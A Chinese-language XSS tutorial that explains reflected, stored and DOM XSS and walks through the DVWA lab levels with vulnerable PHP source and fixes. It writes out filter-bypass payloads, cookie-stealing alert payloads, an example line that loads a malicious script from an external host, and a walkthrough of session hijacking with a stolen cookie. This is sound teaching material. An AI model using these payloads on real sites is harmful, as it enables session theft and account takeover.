概述
跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS的危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
XSS的起因
主要原因:过于信任客户端提交的数据!
解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。
进一步分析细节:
客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。
因此我们绝不可以信任任何客户端提交的数据!!!
XSS的分类
XSS主要分为三类:反射型、存储型和DOM型,下面逐一介绍。
反射型
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务端接收数据后处理,然后把XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。这个过程就像一次反射,故被称为反射型XSS。
来看一个具体案例。新建一个xss.php文件并加入以下代码:
\\XSS反射演示
<form action="" method="get">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
这段代码中首先包含一个表单,用于向页面自己发送 GET 请求,带一个名为xss的参数。 然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果xss中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素。
部署好这个文件,访问http://localhost/xss.php,直接输入一个js代码,比如,
之后点击test:
我们输入的HTML代码被执行了。用Firebug查看,我们输出的内容直接插入到了页面中,解释为<script>
标签。
由上面可见,攻击者可以在<script>
与</script>
之间输入JavaScript代码,实现一些“特殊效果”。在真实的攻击中,攻击者不仅仅弹出一个框,通常使用<script src="http://www.secbug.org/x.txt"></script>
方式来加载外部脚本,而在x.txt中就存放着攻击者的恶意JavaScript代码,这段代码可能是用来盗取用户的cookies,也可能是监控键盘记录等恶意行为。
注意:Javascript加载外部的代码文件可以是任意扩展名(无扩展名也可以),如:
<script src="http://www.secbug.org/x.jpg"></script>
,即使文件为图片扩展名x.jpg,但只要其文件中包含,JavaScript代码就会被执行。
上面的弹框攻击可能会使读者误解反射型XSS的威力,下面来看一个案例:
存储型
来看看以下两个图片,了解XSS输入输出点、构造闭合的方式、存储型XSS的利用。
DOM型
XSS的利用
XSS不仅仅是弹出一个框那么简单,在某些情况下,XSS不弱于SQL注入。下面列举几个常见的危害:
(1)盗取用户Cookie;
(2)修改网页内容;
(3)网站挂马;
(4)利用网站重定向;
(5)XSS蠕虫。
XSS会话劫持
关于Cookie的简介:
下面来看看如何利用XSS进行会话劫持:
注意:有些开发者使用Cookie时,不会当作身份验证来使用,比如,才能出一些临时信息。这时,即使黑客拿到了Cookie也是没有用的,并不是说只要有Cookie,就一定可以进行“会话劫持”。
XSS蠕虫病毒
待补充。
XSS的修复
XSS跨站漏洞最终形成的原因是对输入和输出没有严格的过滤,在页面执行JavaScript等客户端脚本,这就意味着只要将敏感字符过滤,即可修补XSS跨站漏洞。
字符串过滤
在HTML中,<、>、"、‘、&都有比较特殊的意义,因为HTML标签、属性是由这几个符号组成的。如果直接输出这几个特殊字符,极有可能破坏整个HTML文档的结构。所以,一般情况下,XSS将这些特殊字符转义。
HttpOnly
严格地说,HttpOnly对防御XSS漏洞不起作用,而主要目的是为了解决XSS漏洞后续的Cookie劫持攻击。那么,What is HttpOnly?
HttpOnly是微软公司的Internet Exploer 6 SPI引入的一项新特性。这个特性为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie。至今已成为一个标准,几乎所有的浏览器都会支持HttpOnly。
在介绍XSS会话劫持时,详细介绍了Cookie的存储形式,并且演示了如何使用JavaScript获取Cookies。一个服务器可能会向服务器端发送多条Cookies,但是带有HttpOnly的Cookie,JavaScript将不能获取。HttpOnlyTest.php代码如下:
DVWA
反射型
【Low】
界面如图所示:
查看后台源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
观察到程序并没有对用户输入的name进行任何的过滤操作。那么我们直接输入<script>alert('XSS')</script>
即可观察到弹窗,从而验证XSS漏洞的存在。
再来尝试更过分的,直接获取Cookie值,输入<script>alert(document.cookie)</script>
,结果如下:
顺利读到Cookie值,F12打开开发者选项,可以看到,HttpOnly
属性没有设置为true:
咱们将其改为true,再尝试一下用刚才的弹框获取Cookie值:
此时,已经无法获取到Cookie值了。
咱们来将刚才获得的Cookie值利用起来,进行免密码登录的尝试。
- 首先,打开另一个浏览器(谷歌),访问DVWA的登录页面
- 然后,打开F12,将Cookie值替换掉,安全等级改为low,然后访问
127.0.0.1:8088/DVWA
,即可成功进入系统:
以上可见XSS漏洞的危害!在获取他人登录状态下的Cookie后可以实现免密码登录他人账号!
【Medium】
将系统的安全等级调为Medium,然后输入刚才的payload:<script>alert('XSS')</script>
,发现已经无法正常发生弹窗了:
查看后台源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
在将获取到的name值得时候,经过str_replace()函数过滤,将name值中的<script>
标签转化为空。然后再将name值的结果输出,所以当我们再次使用low级别的payload的时候我们的<script>
标签被过滤掉。
特别注意的是这个函数也不太完美,因为它区分大小写。所以当我们使用low级别中的payload大写的时候,一样可以绕过它的过滤。我们试一下:
Payload:<SCRIPT>alert('XSS')</SCRIPT>
一样可以弹框,当然绕过的还有很多方式。处理这样的paylaod的时候最好再在前面加一个strtolower()
函数,将传递的name值得字符统统改为小写。这样就可以不管大小写都能逃不出去(只针对这一个payload)。
【High】
先来查看源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
观察到使用了正则表达式来过滤。这里利用了preg_replace()函数,将包含<script
的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。那么我们就不能使用大小写绕过和重写的方法来绕过了。
虽然无法使用<script>
标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。这样就会避免出现<script>
标签被正则表达式匹配到。
我们可以使用以下Payload:
解释:标签是添加一个图片。src,指定图片的url,onerror是指定加载图片时如果出现错误则要执行的事件。这里我们的图片url肯定是错误的,这个弹框事件也必定会执行。
【Impossible】
查看源码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
正如级别含义,不可能的,这个很难做到弹框。里面处理$_GET[‘name’]
的值得时候利用了函数htmlspecialchars()
,将值里面的预定义函数,都变成html实体。
所以我们以上的payload都带有<>,这个经过转换之后是不会起作用的,也就不能够造成弹框。
存储型
【LOW】
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
代码解释:
trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string): 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
可以看出,low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞。
我们在name和message依次输入 LQW 和 <script>alert('520')</script>
,可以看到,我们的js代码立即就执行了:
咱们打开数据库查询:
在“其他选项菜单”中,选择Mysql工具->MySQL命令行,进入操作数据库的Shell窗口,并查看刚才插入的数据:
查看页面前端源代码,可以看到,Message位置显示的是我们的js代码,因为这里显示的数据是调用数据库里的数据:
除了在Message字段插入JS代码,咱们来试试在Name字段插入。但是发现,Name字段的长度被限制为10个字符了(超过了就输入不进去):
不过没关系,我们可以使用在前端直接更改maxlength的值,或者通过BurpSuite抓包后改包并绕过。
看看BP的:
成功绕过前端参数限制:
【Medium】
代码分析:
addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
当我们再次在Name和Message依次输入Dog 和 <script>alert('hack')</script>
,strip_tags函数把<script>
标签给剥除了,addslashes函数把 ’ 转义成了 \'
,如下所示:
可以看到,由于对message参数使用了htmlspecialchars()函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>
字符串,仍然存在存储型的XSS。
1.双写绕过
Burpsuite抓包改name参数为:<sc<script>ript>alert(/name/)</script>
,如下图所示:
【补充】我们在DVWA输入以下数据,Name=<script>55
,在BP中拦截到的数据包会经过URL编码,成为以下的形式:
使用URL在线编码转换验证下:
咱们篡改的数据,可以直接插入<sc<script>ript>alert(/name/)</script>
,也可以使用URL编码后的:
URL编码只是简单的在特殊字符的各个字节(16进制)前加上”%”即可。URL编码的原则就是使用安全的字符(没有特殊用途或者特殊意义的可打印字符)去表示那些不安全的字符。
关于为什么要进行URL编码:https://www.cnblogs.com/jerrysion/p/5522673.html
2.大小写混淆绕过
Burpsuite抓包改name参数为:<ScRipt>alert(/name/);</ScRipt>
3.使用非 script 标签的 xss payload
eg:img标签——Burpsuite抓包改name参数为:<img src=1 onerror=alert(/name/)>
其他标签和利用还有很多很多….
以上抓包修改数据Forward后,均成功弹窗:
【High】
分析:
这里使用正则表达式过滤了<script>
标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
Exploit——Burpsuite抓包改name参数为<img src=1 onerror=alert(/name/)>
Forward后,成功弹窗:
【Impossible】
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,这次impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击。而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞。
DOM型
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。可能触发DOM型XSS的属性:
- document.referer属性
- window.name属性
- location属性
- innerHTML属性
- documen.write属性
【Low】
源代码:
<?php
# No protections, anything goes
?>
从源代码可以看出,这里low级别的代码没有任何的保护性措施!
页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤:
查看网页前端代码,发现有JS逻辑代码存在:
具体如下:
document.write详解
document.write是JavaScript中对document.open所开启的文档流(document stream操作的API方法,它能够直接在文档流中写入字符串,一旦文档流已经关闭,那document.write就会重新利用document.open打开新的文档流并写入,此时原来的文档流会被清空,已渲染好的页面就会被清除,浏览器将重新构建DOM并渲染新的页面。
我们插入的 javascript 代码可以在 decodeURL(lang)
被执行,所以我们可以构造XSS代码,访问链接:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
可以看到,我们的script脚本成功执行了:
同时可以看到,JS代码插入到页面代码中:
【Medium】
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags (不区分大小写)
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos()
函数 用于检测default值中是否有 <script
,如果有的话,则将 default=English 。
很明显,这里过滤了 <script
(不区分大小写),那么我们可以使用<img src=1 onerror=('hack')>
但是当我们访问URL:
http://127.0.0.1/vulnerabilities/xss_d/?default=<img src=1 onerror=alert('hack')>
此时并没有弹出任何页面。
我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。
所以我们得先闭合前面的标签,我们构造语句闭合option标签:
<option value=' " + lang + " '> " + decodeURI(lang) + " </option>
所以,我们构造该链接:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default=></option><img src=1 onerror=alert('hack')>
但是我们的语句并没有执行,于是我们查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为闭合了option标签,所以img标签并没有插入
于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了。
我们构造该链接:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default= ></option></select><img src=1 onerror=alert('hack')>
可以看到,我们的语句成功执行了:
我们查看源代码,可以看到,我们的语句已经插入到页面中了:
【High】
服务器源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
【服务器设置白名单】这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配(只允许传的 default值为 French、English、German、Spanish 其中一个),如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。
这样的话,我们的语句就没有可能直接插入到页面中了。但是,我们依然有一种破解方法,构造攻击语句:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>
也能实现弹框:
写入页面的效果是这样的:
【原理】由于 form表单提交的数据想经过JS 过滤 所以注释部分的JS代码不会被传到服务器端(也就符合了白名单的要求)。
【Impossible】
服务端源代码:
<?php
# Don't need to do anything, protction handled on the client side
?>
我们可以看到,impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面。我们可以看到,客户端的JS逻辑代码发生了改变:
发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了。
我们来尝试实验一下,访问链接
http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
发现页面并没有弹出任何东西,而且语言框内的值是我们输入的参数的经过URL编码后的数据:
查看下页面代码: